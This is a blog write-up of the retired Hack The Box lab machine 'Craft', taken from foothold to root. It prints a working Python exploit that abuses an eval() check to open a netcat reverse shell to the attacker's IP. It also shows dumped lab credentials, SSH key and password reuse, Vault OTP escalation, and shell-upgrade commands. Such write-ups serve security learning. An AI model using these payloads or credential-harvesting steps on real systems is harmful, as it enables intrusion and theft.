Ben Busby | Projects, writeups, ideas, announcements, other random junk


HTB: Craft (Linux Machine)

Hack The Box - “Craft” - Linux - 10.10.10.110

Completed: December 20th, 2019

Retired: January 4th, 2020

Foothold

A quick scan of the IP revealed that the site had an https only site running on 443. Visiting the site revealed a splash page about a craft beer web app with links to api.craft.htb and gog.craft.htb (git repo hosting, similar to gitlab/github). Adding these to my /etc/hosts allowed me to view some API routes and messages on GOG that allowed me to gain a temporary shell.

On GOG, a user Dinesh (the machine was Silicon Valley themed) opened an issue about how ABV wasn’t being checked properly, so he committed a change where a python eval statement was used to check the abv. Elsewhere in the repo was a test script written in python that I was able to modify to inject a reverse shell (code below).

import json
import sys
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print('========================')
print('Fetching API token...')
response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']

headers = {'X-Craft-API-Token': token, 'Content-Type': 'application/json'}

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
if response.status_code != 200:
    print('API token is invalid!')
    sys.exit()

print('Sending reverse shell ABV payload...')
brew_dict = {}

shell = "__import__('subprocess').call(['/usr/bin/nc', '10.10.15.42' ,'9000','-e','/bin/bash'])"

brew_dict['abv'] = shell
brew_dict['brewer'] = '18th Street Brewery'
brew_dict['name'] = 'Wild Goose Chase'
brew_dict['style'] = 'American IPA'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response)

Running this with a netcat port open allowed me to have access to a shell on…a docker container? That’s disappointing…

User Flag

On the other hand, this gave me access to normally gitignored files, as well as the ability to locally run their db-test script. Normally the script just returned the first row of their “brew” table, but I modified it to list all users by changing the query to “SELECT * from user” and the cursor request from “fetchone” to “fetchall”. This gave me the following output:

/opt/app # python dbtest.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

Knowing the show, I knew Gilfoyle would be in charge of the infrastructure side of things, so I used his login on their GOG site and found a private repo of his named “craft-infra”. This repo contained various config files, as well as ssh public and private keys. I copied these back over to my machine and tried sshing into gilfoyle@craft.htb, which prompted me for a password, and luckily for me he used the same password for this as for his GOG account.

gilfoyle@craft.htb:~$ cat user.txt
<flag redacted>

Root Flag

Root was a bit more straightforward.

Logging in as gilfoyle, there was a file in his home directory labeled “.vault-token”, which is apparently a leftover artifact from setting up Docker’s Vault feature. Looking around at the docs for vault showed me that I can login using the token saved in the user’s home directory. After doing so, I went back and looked through the git repo for craft-infra, and saw that an ssh to root was allowed via vault using the “-role=root_otp” flag. I plugged that in and was able to get in using the OTP generated password!

gilfoyle@craft:/$ vault ssh -mode=otp -role=root_otp root@craft.htb
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 4edf93cf-7fcf-d4b4-1e0d-c00449c16b4a
The authenticity of host 'craft.htb (127.0.1.1)' can't be established.
ECDSA key fingerprint is SHA256:sFjoHo6ersU0f0BTzabUkFYHOr6hBzWsSK0MK5dwYAw.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'craft.htb' (ECDSA) to the list of known hosts.


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# ls
root.txt
root@craft:~# cat root.txt
<flag redacted>

Root flag acquired!

Notes

  • I got frustrated with the plain nc shell, so I googled around and found a better method for getting a proper useable shell on a remote machine:
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Kali
$ stty raw -echo
$ fg

# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>


Questions? Comments? Reach out!
Back to Home